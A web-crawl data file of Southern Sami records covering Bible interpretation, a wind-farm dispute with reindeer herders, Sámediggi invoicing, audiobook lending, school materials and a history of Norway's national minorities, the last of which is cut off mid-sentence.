gohtjesåvva Båeries testamenten apokryfh. Dah gærjah lea greklaanten gïelesne tjaaleme jïh dah böötin dej gåabpatjahki testamenti gaskem. Martin Luther buerkiesti dejtie goh \"hijven jïh nuhteligs lohkeme\", men idtji sïjhth dejtie seamma daltesisnie bïejedh goh dah mubpieh teksth Bijpielisnie.\nBijpelen sisvege lea sjïdtedamme\nBijpele guktie lea daelie lea tïjjen mietie naemhtie sjïdteme. Tekstetjåanghkoe mij Bijpielisnie gohtje kanon jïh jeerehts ovmessie gærhkoej gaskem. Naemhtie aaj teksti öörnege. Dïhte sæjhta jiehtedh ovmessie teksth lea ovmessie leavloeh jïh guarkoeh histovrijen mietie. Joe aareh gærhkoen histovrijisnie lohki veeljeme biehkide Bijpelen tekstijste. Naemhtie aaj juvdelassjh dej aejlies tjaalegh lohkin.\nDennie tekstine gusnie aareh gærhkoen teolåågh Bijpelem siteerin tjïelke möönsterem vuajna. Sjïere gærjah jienebe lohkin enn dah mubpieh. Vuesiehtimmie Voestes Mosegærja, Jesaia jïh Saalmi gærja dejtie leah jienebe lohkeme Jesusen aejkesne enn Josjuva jallh Voestes mujhtemen gærja. 1500-låhkosne mijjieh vuejnebe guktie Martin Lutheren teksth ovmessie vuekine vuarjasji dan mietie guktie dah leah tjaaleme maam dïhte ussjedi lea Bijpelen dïjre.\nMijjieh daarpesjibie Bijpelem toelhkestidh\nBijpelem lohkedh lea daarpesje tekstem toelhkestidh. Muvhten aejkien maahta goltelidh ij dïhte dan soe gïerve: \"Lohkh maam desnie tjåådtje!\". Men joe dam jarkoestamme sveerjen bijpeletekste lea toelhkestamme. Dotkeme viehkehte dejtie tsiehkide guarkedh gusnie tekstem tjeeli, men ibie maehtieh vihtiestidh mijjieh tekstem guarkebe guktie dïhte lij ussjedamme guarkedh. Daarpesje ussjedihks teksti histovrijen karakteeren åvteste.\nDïhte mij Bijpelen låhka gyhtjelassh buakta mejtie sæjhta vaestiedassh gaavnedh jïh aaj vuartoeh jïh dååjrehtimmieh jieliedistie maam jealeme. Dan gaavhtan vihkeles juekedh maam Bijpele maahtah soptsestidh jïh maam Bijpele ij maehtieh soptsestidh. Ij Bijpele vedtieh orre maahtoem eatnemedaajroen jallh medisijne gyhtjelassi bïjre. Ij gænnah dïhte vedtieh tjïelke etihken vuj politihken direktijvh. Bijpelen sisvege gujht vijsiesvoete jïh jupmelejaahkoen dååjrehtimmieh maam maahta histovrijen mietie damtedh. Dan gaavhtan maehtebe Bijpelen veartenem geatskanidh gyhtjelassine Jupmelen såjhtoen bïjre, guktie maehtebe jieleden dåeriesmoerh jïh haestemh gïetedidh jïh relasjovnine mubpide. Maahta otnjegem ohtsedidh jïh guktie sjugniedimmine gïetedidh, guktie mubpide almetjidie dåemiedidh jïh aajnege mannem årrodh.\nNaan bijpeleteksth sjïere voerkesimmiem krievieh. Gååvnesieh teksteboelhkh mah leah sinsitniem tsyögkesidh jallh dan vööste tsælloeh maam mijjieh daelie daejrebe. Gååvnesieh aaj teksth mah leah gïerve jååhkesjidh etihken perspektijveste jïh mah krievieh dovne toelhkestimmie jïh etihken mïeline.\nIj leah maam akt orre toelhkestidh\nGærhkoen histovrijen mietie dah tsælloestamme ovmessie vuekiej bïjre Bijpelen teksth toelhkestidh. Maahta tsælloeh årrodh mah leah gïengeles jïh stoerre konsekvensh dejstie sjïdtedidh. Seamma aejkien leah tsælloeh jïh digkiedimmieh teksti sisvegen bïjre jïh guktie dejtie nuhtjedh iemies bielie gærhkoej jielieminie. Soptsestalleminie jïh toelhkestimmieh juekedh dej mietie Bijpelen teksth vihkeles sjidtieh. Evangelijen-lutheren aerpievuekien mietie lea voerkelimmie vihkeles. Desnie Bijpelen baakoeh svihtjieh jïh jielieh.\nIj leah gåessegh gååvnesamme akte-laaketje vuajnoe Bijpelen tekstide, gærhkoe leah eejnegen dan aejlies teksth toelhkestamme. Sveerjen gærhkoen aerpievuekesne mijjieh Martin Luhteren gåajkoe vuesiehtibie gosse Bijpelem toelhkestibie. Luther tjeeli Kristus lea Bijpelen jarnge jïh naestie. Jarnge gååvnese gaajhkene bijpeletoelhkestimmine – jarnge mij lea dan bïjre Jupmele gaajhkh almetjh eahtsa jïh sæjhta mijjiem sjuevnjedsvoete, skåltoe jïh jaememe luajhtasåvva. Abpe Bijpele maahta lohkedh goh ohtseminie gusnie håhkoe – tekstesne jïh mijjen jielieminie.\nVuepties jïh deadteles toelhkestidh\nGuktie mijjieh Bijpelem lohkedh lea vihkeles. Naan toelhkestimmieh maehtieh jieledem evtiedieh, mubpieh dïedtelgieh jïh skilkieh. Histovrijisnie gellie vuesiehtimmieh destruktijve toelhkestimmieh Bijpielistie. Dah leah vuajnoej bïjre dåarose, vædtsoesvoetese, reaktose, seammavyörtegsvoetese, almetjevierhtide jïh daajrose. Dïhte vuesehte gaajhkh bijpelelohkeme dïedtem kreava – dïedtem vaeltedh guktie toelhkeste jïh mah toelhkestimmieh buakta. Jeatjah baakoejgujmie deadteles bijpeletoelhkestimmiem darjodh.\nGyhtjelasse guktie Bijpelem toelhkeste ij leah åålegh vaestiedamme gaajhkide gosse Lutherasse vuesehte. Baaltese fïere guhte gie Bijpelem låhka daarpesje Lutheren prinsihpem nuhtjedh – ussjedadtedh mah leah eerlege toelhkestimmie gïerve tekstijste dejnie mïeline Jupmele lea mijjen ektesne jïh sæjhta mijjiem viehkehte.\nVielie lohkeme Bijpelen bïjre\nLohkh vielie Bijpelen bieliej bïjre jïh man vihkeles dïhte lea dam toelhkestidh deadteles vuekine.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.svenskakyrkan.se\/bijpele","date":"2023-06-01T14:56:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647895.20\/warc\/CC-MAIN-20230601143134-20230601173134-00696.warc.gz","language":"sma","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999974966049194}","num_words":710,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Akte katastrofe jis dah edtjien biegkefaamoe daesnie bigkedh\nTroms Kraft jïh Ymber leah goerehtamme gusnie buerebe biegkefaamoe Noerhte-Romsesne utnedh. Návuotna dïhte bööremes sijjie dah daelie jiehtieh.\n– Návuotna maehtie bööremes faamoe seabradahkese vedtedh, jïh eah dan stoerre aareale daarpesjen, konsernen åejvie Troms Kraftesne Semmin Semmingsen jïh adm.direktööre Ymberisnie Erling S.Martinsen jiehtieh.\nDah leah ovmessie daajvh Storfjordesne, Gáivuotnesne, Nordreisasne jïh Návoutnasne goerehtamme. Dajven Návuotnasne lea Olmmairassa.\nOlmmairassa lea Ábboráššan båatsoesïjtesne. Golme dejstie båatsoesiïjte mij Návuotnasne leah, ij sijhtie biegkefaamoe Olmmairassasne utnedh.\n– Mijjese akte katastrofe jis dah edtjien biegkefaamoe daesnie bigkedh, Ábboráššan ståvroeåejvie Mikkel Mathis Hætta jeahta.\nÁbborášša ij dan stoerre giesielaante åtna, Hætta buerkeste. Seamma dajvesne gusnie Troms Kraft jïh Ymber sæjhta biegkefaamoen utnedh, Ábborášša sov giesielaante åtna.\n– Jis dah biegkefaamoe daesnie bigkieh mijjieh maehtebe soehpenjen vïedtjesne gævnjastibie, Hætta jeahta.\nDah golme båatsoesïjth leah bïeljelamme guktie dah ussjiedieh.\n– Mijjieh libie bïeljelamme guktie sjædta jis dah sijhtieh biegkefaamoe daesnie utnedh.\nHætta tuhtjie buerie dah leah meatan prosessesne orreme.\nTroms Kraft jïh Ymber lea govleme maam dah båatsoesijth ussjedieh, bene dah vienth dah maehtieh sïemies sjidtedh. Daelie sijhtieh dah konsekvenser tjïelkestidh. Maehtie medtie nieljie jallh vijhte jaepien vaasedh åvtelen tjïelkestammen riejries.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.nrk.no\/sapmi\/_-akte-katastrofe-jis-dah-edtjien-biegkefaamoe-daesnie-bigkedh-1.16421671","date":"2023-06-04T05:30:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224649439.65\/warc\/CC-MAIN-20230604025306-20230604055306-00516.warc.gz","language":"sma","language_score":0.9997271895,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999727189540863}","num_words":187,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reeknegh SaemiedægkanIh maehtieh reeknegem e-påastesne seedtedh. Tjoerh reeknegh seedtedh goh elektrovneles reeknege jallh paehpierisnie påastesne. Elektrovneles reeknegem seedtedh (EHF) Digitaliseeremetjaalegen mietie krïevenassh bïejesåvva gaajhkh staateles gïehtelimmieh edtjieh reeknegem krïevedh elektrovneles handelsformaatesne (EHF). Ålkoelaanten deallahtæjjah edtjieh standaarden PEPPOL BIS nuhtjedh. Lohkh Digitalieeremetjaalegem Gyhtjelassh jïh vaestiedassh elektronisk handelsformaten bïjre (EHF Lohkh vielie standaarden bïjre PEPPOL BIS Saemiedigkien elektrovneles reeknegeadresse lea Saemiedigkien org.nr: 974760347 Edtja iktesth dongkijereferaansem soptsestidh: 1660 + dongkijen aalkoebokstaavh, v.g.: 1660XXX Gaskesadth dongkijem jis referaanse ij leah soptsesovveme. Maam datne goh deallahtæjjah tjoerh darjodh juktie EHF-reeknegh seedtedh? Lohkh vielie bïevnesh EHF:n bïjre: Naemhtie elektrovneles reeknegh jïh paehperereeknegh DFØ:n åestiejidie seedth EHF-reeknegem darjodh jïh dam dåastoejasse seedtedh. Reeknegem dåastodh jïh dam jïjtse systeemesne gïetedidh. Saemiedigkie lea åestije åestije direktoraateste Direktoratet for økonomistyring (DFØ). Maahtah DFØ:m gaskesadtedh jis dov leah gyhtjelassh elektrovneles reeknegen bïjre, e-påaste: email@example.com, tellefovne: 407 67 157. Paehperereeknegem seedtedh Jis ih reeknegh EHF-hammosne seedth daan biejjien, maahtah reeknegem paehpierisnie seedtedh påastesne Saemiedigkien reeknegeadressese: Saemiedigkie - Sametinget Fakturamottak DFØ Postboks 4746 Torgarden 7468 Trondheim Mïerhkh reeknegem dongkijereferaansine!","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/saemiedigkien-bijre\/reeknegh-saemiedagkan\/","date":"2023-10-01T12:37:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510888.64\/warc\/CC-MAIN-20231001105617-20231001135617-00877.warc.gz","language":"sma","language_score":0.9999507666,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999507665634155}","num_words":158,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sydsamiska\/Åarjelsaemien gïele\nMTMèn tjaalaldahkh mah meedijasse dorjeme, dah sjiehtele dejtie ålmegidie mah geerve utnieh jih lohkedh, dejtie håaloemegärjide maehtede dennie digitale gärjagåetesne legimus.se jih aaj dah jeatja gärjagåetine löönedh. Dah tsiehkietjaaleldhgärjah dejtie maehtebe riekte dalla dan ålmegassese löönedh.\nMij lea håaloemegärja?\nDah håaloemegärjah sjiedteme dan daarjoemes reakta-laaken mietie . Dah gärjah dov åvteste lohkemisnie, dutnjien gie geerve åtnah lohkedh\nGuktie gärjide löönedh.\nDah håaloemegärjide maehtede gaajhk Sveerjen gärjagåetine löönedh.\nMaahtah aaj bievnesjem dej gärjah bijre veedtjedh destie mijjen digitale gärjagåetijste legimus.se. Ij naan jååhkesjem daarpesjh, datne maahtah barre jiehtedh darpesjem dejtie håaloemegärjide löönedh. Dov gärjagåetie datnem viehkehte dagkeres kontom buektedh. Åesehts lea håaloegärjide löönedh. Jis viehkiem daarpesjh gihtjh naakenem dejstie barkoedäjjijste.\nGuktie dejtie håaloemegärjide veedtjedh?\nDejtie gärjide maahtah riekte dam mijjen digitale gärjagåetie legimusen tjirrh veedtjedh. Dov gärjagåetie datnem viehkehte jih nuhtjemenommem jih tjeakoesbaakoem buektedh mah vuesehte guktie darjodh. Mujhth datne daarpesjh dam jijtjed svienske mommerem guktie maehtedh dam veedtjedh.\nMagkeres håaloemegärja gååvnesje löönedh?\nDennie digitale gärjagåetie legimus.se desnie maahtah vuejnedh magkeres gärja gåerede löönedh: http:\/\/www.legimus.se. Desnie aaj bievnesjh gååvnesjie mah vuesehte magkeres gärjah leah, Gåerede aaj jeatja laantijste håaloegärjah löönedh.\nTsiehkietjaaleldh\nMTM tsiehkietjaaleldh gärjah gellie gieline leah. Gaskesadth mijjem jis tsiehkietjaaldh löönemeålma sïjhth sjidtedh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.mtm.se\/andra-sprak\/sydsamiska\/","date":"2023-09-29T20:59:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510528.86\/warc\/CC-MAIN-20230929190403-20230929220403-00677.warc.gz","language":"sma","language_score":0.9999829531,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999829530715942}","num_words":194,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Allegorije lea greeske baakoe, mij åarjel-saemien gïelesne sjædta «jeatjahlaakan soptsestidh» jïh «jortehtidh». Gosse mijjieh allegorije teekstem lohkebe dle byörebe dam guarkedh goh guvvie mestie akt mij stuerebe jallh vihkielåbpoe.\nTeekste mij maam akt jeatjebem vuesehte\nAllegorije lea soptsestimmieh, teeksth jallh guvvieh. Ibie edtjh dejtie toelhkestidh öövre guktie leah, men symboli mietie. Maehtebe jiehtedh allegorije lea symbole. Mijjieh maehtebe allegorijem gaavnedh romaanine jallh draamine.\nFabele\nJuvre-fabelh maehtieh allegorije-teekstine årrodh. Teekstesne Bïerne (gærjesne: Lohkede saemien) dellie mijjieh Lutniestæjjan bïjre lohkebe guhte eatnamisnie fealedeminie. Lutniestæjja edtja johken rastah jïh viehkiem daarpesje. Bïerne Lutniestæjjam viehkehte jïh dam johkem rastah saehtele. Dellie bïerne almetji jïjtsevoeth vuesehte. Men dah jeatjah juvrh jïh almetjh mah idtjin sïjhth Lutniestæjjam viehkiehtidh nåakebe jïjtsevoeth vuesiehtieh.\nViertiedasse\nViertiedasse lea seamma goh parabele. Viertiedasse lea åenehks teekste, mij jortigi-soptsesvuekien mietie tjaaleme. Viertiedasse lea biejjieladtje heannadimmiej bïjre. Heannadimmie lea goh guvvie gusnie mij akt jeatjebe vöörhkesovveme. Lohkije tjuara jïjtje pryövedh guarkedh man bïjre teekste.\nBaakoeh\nSaemien\nDaaroen\njïjtsevoeth\negenskaper\nviertiedasse\nlignelse\nalmetji jïjtsevoeth\nmenneskelige egenskaper","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:2:5cf7a096-53f4-48c8-a889-447f6e95c80d\/resource:1:157276","date":"2023-09-30T10:06:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510671.0\/warc\/CC-MAIN-20230930082033-20230930112033-00173.warc.gz","language":"sma","language_score":0.9999753237,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999975323677063}","num_words":162,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reektehtse «Stå opp mot hatprat!»Unge funksjonshemmede leah 2020 reektehtsem buakteme «Stå opp mot hatprat!» mij irhkemem jïh aassjoelahtestimmieh skuvlesne jarngesne åtna.Reektehtse lea bielie prosjekteste mij göökte jaepieh ryöhkoe, mïsse Maana-, noere- jïh fuelhkiedirektoraate lea beetnehvierhtieh dååjreme, jïh mij edtja daajroem jïh voerkesvoetem lissiehtidh aassjoelahtestimmien jïh irhkemen bïjre almetji vööste funksjovnegiehpiedimmiejgujmie jïh kroniske skïemtjelassine skuvlesne, jïh aassjoelahtestimmieh jïh irhkemem giehpiedidh daehtie dåehkeste. Unge funksjonshemmedesen reektehtse aassjoelahtestimmien jïh irhkemen bïjre skuvlesne.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/lierehtimmie\/skuvlebyjrese-jih-skuvleevtiedimmie\/reektehtse-sta-opp-mot-hatprat\/","date":"2023-09-29T00:09:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510462.75\/warc\/CC-MAIN-20230928230810-20230929020810-00028.warc.gz","language":"sma","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999998927116394}","num_words":68,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.206,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Sámi Giellatekno Bertije Universitetet i Tromsø Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere Universitetet i Tromsø Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aarhte jïh daajroe IT\/teknologije Siebriedahke Skuvle jïh ööhpehtimmie Saemiengïele Baakoegærjah Grammatihke Viehkiebaakoe Jarkosth","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/node\/14929","date":"2023-09-23T04:36:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506479.32\/warc\/CC-MAIN-20230923030601-20230923060601-00357.warc.gz","language":"sma","language_score":0.9987080097,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9987080097198486}","num_words":43,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmieh 2. jaepiedaltesen mænngan\n- Maahtoeulmieh 4. jaepiedaltesen mænngan\n- Maahtoeulmieh 7. jaepiedaltesen mænngan\n- Maahtoeulmieh 10. jaepiedaltesen mænngan\n- Maahtoeulmieh 1T mænngan– Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P mænngan – Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1T-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Faagem vierhtiedidh\nUlmie\nMatematihke lea akte bielie mijjen veartenevijries kultuvreaerpeste. Almetje lea iktegisth matematihkem nuhtjeme jïh evtiedamme juktie dååjrehtimmieh öörnegen mietie bïejedh, ektiedimmieh eatnamisnie jïh siebriedahkesne buerkiestidh jïh guarkedh, jïh veartenerommem goerehtidh. Akte jeatjah skraejriegaaltije juktie faagem evtiedidh lea almetje lea aavoedamme matematihkine barkedh jïjtsinie. Faage lea stïeresne gelline vihkeles siebriedahkesuerkine, goh medisijne, ekonomije, teknologije, govlesadteme, energijereereme jïh bigkemisnie. Nænnoes maahtoe matematihkesne lea dan åvteste eevre daerpies gosse edtja siebriedahkem evtiedidh. Akte eadtjohke demokratije årrojh daarpesje mah maehtieh lïeredh, guarkedh jïh laejhtehkslaakan vuarjasjidh jïjnjh bïevnesh, statistiske analyjsh jïh ekonomeles aerviedimmieh. Naemhtie dle maahtoe matematihkesne daerpies juktie guarkedh jïh maehtedh prosessh siebriedahkesne eadtjoestidh.\nMatematihkeles maahtoe sæjhta jiehtedh dåeriesmoereloetemem jïh hammoedimmiem nuhtjedh juktie dåeriesmoerem analyjseradidh jïh jarkelidh akten matematihkeles hammose, dam loetedh jïh vuarjasjidh man reaktoe vaastoe lea. Daate aaj gïelebielieh åtna, goh leerehtidh, soptsestidh jïh ussjedidh åssjaldahki bïjre. Dejnie jeanatjommes matematihkeles darjoeminie nuhtjeminie viehkiedïrregh jïh teknologijem. Dovne maehtedh nuhtjedh jïh vuarjasjidh ovmessie viehkiedïrregh jïh damtedh gusnie dah maehtieh åtnasovvedh, leah vihkeles bielieh faageste. Maahtoe matematihkesne lea akte vihkeles dïrrege fïereguhtese, jïh faage maahta våaromem bïejedh juktie vielie ööhpehtimmiem vaeltedh faagesne jïh meatan årrodh barkoejieliedisnie jïh darjoeminie eejehtallemisnie. Matematihke lea betnesne stoerre bieline mijjen kultuvrehistovrijeste jïh juktie logiske ussjedimmiem evtiedidh. Naemhtie dle faage aktem vihkeles råållam åtna dennie sïejhme skearkagimmesne dan åvteste dïhte identiteetem, ussjedimmievuekiem jïh jïjtjegoerkesem tsevtsie.\nMatematihkefaage skuvlesne viehkehteminie dam matematihkeles maahtoem evtiedidh maam siebriedahke jïh fïereguhte almetje daarpesje. Juktie dam jaksedh dle learohkh tjuerieh nuepiem åadtjodh dovne praktihkeles jïh teoretihkeles barkedh. Lïerehtimmie lea dovne goerehtidh, stååkedidh, sjugniedidh jïh dåeriesmoerh loetedh darjoeminie jïh tjiehpievoetehaarjanimmesne. Praktihkeles åtnosne dle matematihke vuesehte dïhte lea akte nuhteligs dïrregefaage. Skuvlebarkosne nuhtjeminie vihkeles åssjaldahkh, hammoeh, struktuvrh jïh ektiedimmieh faagesne. Tjuara learoehkidie haestedh matematihkine barkedh tjaaleldh, njaalmeldh jïh digitaalelaakan. Tjuara sjïehteladtedh ihke dovne nïejth jïh baernieh jïjnjh dååjrehtimmieh matematihkefaagine åadtjoeh, mah positijve vuajnoeh jïh aktem nænnoes faagemaahtoem sjugniedieh. Naemhtie akte våarome bïejesåvva akten lïerehtæmman mij abpe jieledem ryöhkoe.\nSide 1 Av 14","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/kl06\/MAT1-04\/Hele\/Formaal?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2023-12-11T22:20:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679518883.99\/warc\/CC-MAIN-20231211210408-20231212000408-00848.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":359,"character_repetition_ratio":0.081,"word_repetition_ratio":0.006,"special_characters_ratio":0.134,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaavnedimmie nasjonaale unnebelåhkoej jïh nöörjen staaten gaskem\nTeemah\n- Aalkoeåålmege jïh nasjonaale unnebelåhkoe\nRïektes geajnoeh\n- Unnebelåhkoeh Nöörjesne 1800-låhkoen åvtelen\n- «Daaroedehtemepolitihke»\n- Assimilieeremepolitihke– saemieh, kveenah, skåajjesoemeladtjh jïh romaniåålmegh\/taadterh\n- Ekskludeeremepolitihke– nöörjen rovmere\n- «Juvdelassjeparagraafen» raejeste Nöörjen Holocausten raajan – juvdelassjh Nöörjesne\n- Nasjonaale unnebelåhkoeh goh histovrijes aktöörh\n- Romanialmetjh\/taadterh – jupmeles guhtsiehtimmie goh våarome vuastalæmman\n- Juvdelassjh - integreeremeprosesse\n- Rovmere – transnasjonaliteete jïh jïjtjesegregeereme\n- Kveenh – læstadijanisme jïh politihkeles organiseereme\n- Skåajjesoemeladtjh\nHistovrijen tjïrrh nöörjen staate lea joekehts såarhts politihkem åtneme mij lea gaajhkh nasjonaale unnebelåhkoeh dïedtelgamme. Læjhkan båajhtode unnebelåhkojde utnedh goh passijve offerh staaten politihkese. Mobiliseeremevuekieh jïh vuastalimmieh gååvnesin gaajhkine daejnie dåehkine. Lea aaj vihkele daan histovrijen bïjre daejredh.\nUnnebelåhkoeh Nöörjesne 1800-låhkoen åvtelen\n«Dåehkieh guhkies ektiedimmine laantese» lea nöörjen åejvieladtji definisjovne nasjonaale unnebelåhkojde (St.bievn nr. 15 (2000-2001)). Jalhts dåehkieh åajvahkommes sijjen definisjovnem åadtjoeh sijjen histovrijes ektiedimmien mietie Nöörjen raasti sisnjeli, lea vaenie juerie daate sïerreden politihke maam nöörjen åejvieladtjh leah daej dåehkiej vööste tjïrrehtamme, lij vihkele ihke Europaraerien mieriekonvensjovnem jååhkesji.\n\"Nöörjesne iktesth kulturelle gellievoete orreme.\nNöörjesne iktesth kulturelle gellievoete orreme. Guhkiem åvtelen nöörjen staate tseegkesovvi, saemieh jïh daaroeh dajvesne årroejin, jïh kveenah jijhtieh dejnie båarasommes tjaaleginie mejtie utnebe, mearan skåajjesoemeladtjh jïh romaniåålmege\/taadterh neebnesuvvieh gaaltijinie 1400-låhkoen jïh 1600-låhkoen gaskem (Niemi 2010). Joekoen 1400-låhkoen raejeste tsåatskelesvoetem stuvri muvhtide daejstie dåehkijste, gaskem jeatjah dan åvteste gånkafaamoe sijhti skaehtiem krïevedh.\n1600-låhkoen lij joekoen skåajjesoemeladtjh mah åejvieladtji ïedtjem gåaskoejin sijjen aerpievuekien gaavhtan svijreminie. Svijreme jïjnjem areaalem krïevi, jïh vuajnalgi goh eerjedh saakoeindustrijen lissiehtamme daerpiesvoetem dïmperasse. Jïjtse almetjelåhkoe soemeladtji bijjeli tseegkesovvi 1686, guktie bijjieguvviem skåajjesoemeladtji bijjeli Østlaantesne åadtjoeji, juktie sijhtin gaajhkh soemeladtjh edtjin årroeh-almetjinie sjïdtedh, guktie meehtin skaehtiem krievedh dejstie. Jalhts svijreme luhpehts sjidti, jeenjesh aerpievuekine jåerhkiejin, jïh dah mah leantsan bïeljelamme sjïdtin, stoerre bööth åadtjoejin (Nesholen 2010). Jeenjesh skåajjesoemeladtjijste ånnetji ånnetji skåajjebarkijinie sjïdtin lissine sijjen barkose jïjtsh gaertienisnie (SNL 2010).\nJalhts lea vuajnoeh åvtelhaarvoejgujmie dokumentereme dejtie ovmessie dåehkide guhkede gietjeste, mïelem vadta 1800-låhkoen bïjre jïh 1900-låhkoen minngiegietjien raajan soptsestidh goh akte joekoen geerve boelhke dejtie neebnesovveme unnebelåhkoedåehkide. Fåantoe dejtie jarkelamme eaktojde lij akte åssjaldahke mij lij faamosne 1850-jaepiej raejeste, Nöörjen bïjre goh kulturelle ektievoete, mearan unnebelåhkoeh vuajnalgin goh dah man lin joekehts mubpijste aktene homogene seabradahkesne.\n«Daaroedehtemepolitihke»\nNöörjen assimilasjovnepolitihke, daamtaj neebnesovveme goh «daaroedehtemepolitihke», lij dïhte jijtjereerije tïjje 1850-jaepiej raejeste 1980-jaepiej raajan. Prinsihpeles ulmie daennie politihkesne lij unnebelåhkoedåehkide «daaroedehtedh» gïelen tjïrrh, jïh guhkiebasse gaajhkh etnihkeles jïh kulturelle sjïere væhtah skubpedh. Saemieh, kveenh, romaniåålmegh\/taadterh jïh vielie ov-ryöktesh skåajjesoemeladtjh daan politihken nualan böötin, akte politihke mij beetnehvierhtieh Finnefoenteste (1851) jïh Fantefoenteste (1854) åadtjoeji (Niemi 2007).\nAssimilieeremepolitihke– saemieh, kveenah, skåajjesoemeladtjh jïh romaniåålmegh\/taadterh\nSaemieh jïh kveenah joekoen baajnehtamme sjïdtin skuvlelaakijste, mah 1800-låhkoen minngiegietjien raejeste vihtiestin abpe ööhpehtimmie edtji nöörjengïelesne årrodh, akte politihke mij jåerhkieji aaj jaepiej mubpien veartenedåaran mænngan. Gåabpegh dåehkieh potensijelle vïjhtekolonnine vuajnalgin mah veadtasovvin «russiske vaahrine». Jearsoesvoetepolitihkeles råajvarimmieh dan åvteste veadtasovvin nasjonalismine jïh nasjonaalestaatbigkeminie ektine, dejnie ulmine ållesth daaroedehtemen bïjre gïeleste, kultuvreste jïh nasjonaale aajmojste (Niemi 2010).\nMearan assimileeremedeadtove saemiej vööste nåhki luhkiejaepiej veartenedåaran mænngan, kveenen gïele jïh kultuvre heaptojne vuajnalgin meatan vaaltasovvedh tryjjesvoetebueriej sïjse, jïh baakoe «kveene» byögkelesvoeteste gaarvani gellie luhkiejaepieh (Kvener.no 2014). 1960-jaepiej minngiegietjien vööste vihth kveenide vueptiesti. Dotkemen jïh salkehtimmiej gaavhtan akte kveenen etnopolitihkeles organiseereme sjidti. (Niemi 2010).\n\"Dan sïejhme seabradahkeevtiedimmien jïh politihken gaavhtan Nöörjesne akte daaroedehtemepolitihke sjïdti mij skåajjesoemeladtjide baajnehti\nIj lij naan vihties assmileeremepolitihke skåajjesoemeladtji vööste. Dan sïejhme seabradahkeevtiedimmien jïh politihken gaavhtan Nöörjesne læjhkan akte daaroedehtemepolitihke sjidti mij aaj 